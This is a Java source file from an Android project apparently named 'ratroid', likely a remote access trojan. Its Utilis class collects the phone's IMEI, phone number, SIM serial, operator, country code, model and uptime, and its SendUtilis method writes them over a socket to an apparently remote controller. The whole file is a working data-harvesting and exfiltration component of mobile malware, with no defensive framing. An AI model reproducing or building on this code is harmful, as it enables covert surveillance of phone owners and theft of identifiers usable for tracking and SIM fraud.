package com.hicham.ratroid;


import java.io.ObjectOutputStream;
import java.io.OutputStream;

import android.content.Context;
import android.os.Build;
import android.os.SystemClock;
import android.telephony.TelephonyManager;
import android.util.Log;

public class Utilis {

	private Context con;
	private TelephonyManager tm;
	
	public Utilis(Context con1) {
		this.con = con1;
		this.tm = (TelephonyManager) con.getSystemService(Context.TELEPHONY_SERVICE);
	}
	
	public String getCountryCode() {
		return tm.getNetworkCountryIso();
	}
	
	
	public String getIMEI() {
		return tm.getDeviceId();
	}
	
	public String getDevice() {
		return (Build.MANUFACTURER +" " + Build.MODEL);
	}
	
	public String getSimName() {
		return tm.getSimOperatorName();
	}
	
	public String getPhoneNumber() {
		return tm.getLine1Number();
	}
	
	public String getSimSerial() {
		return tm.getSimSerialNumber();
	}
	
	public String getTime(){
		long l = SystemClock.elapsedRealtime();
		int secs=(int)(l/1000)% 60;
		int mins=(int)(l/(1000*60)) % 60;
		int hrs=(int)(l/(1000*60*60));
		return (String.valueOf(hrs)+":"+String.valueOf(mins)+":"+String.valueOf(secs));
	}
	


	public String[] SendUtilis(Sender s) {
		String[] tab = {getCountryCode(),getIMEI(),getDevice(),getSimName(),getPhoneNumber(),getSimSerial(),getTime()};
		try{
		OutputStream os = s.s.getOutputStream();  
		ObjectOutputStream oos = new ObjectOutputStream(os); 
		oos.writeObject(tab);
		oos.flush();
		}catch(Exception e){System.out.println(e);Log.i("error f Sendutilis","am in waitinst");} 

		return tab;
	}
	

}
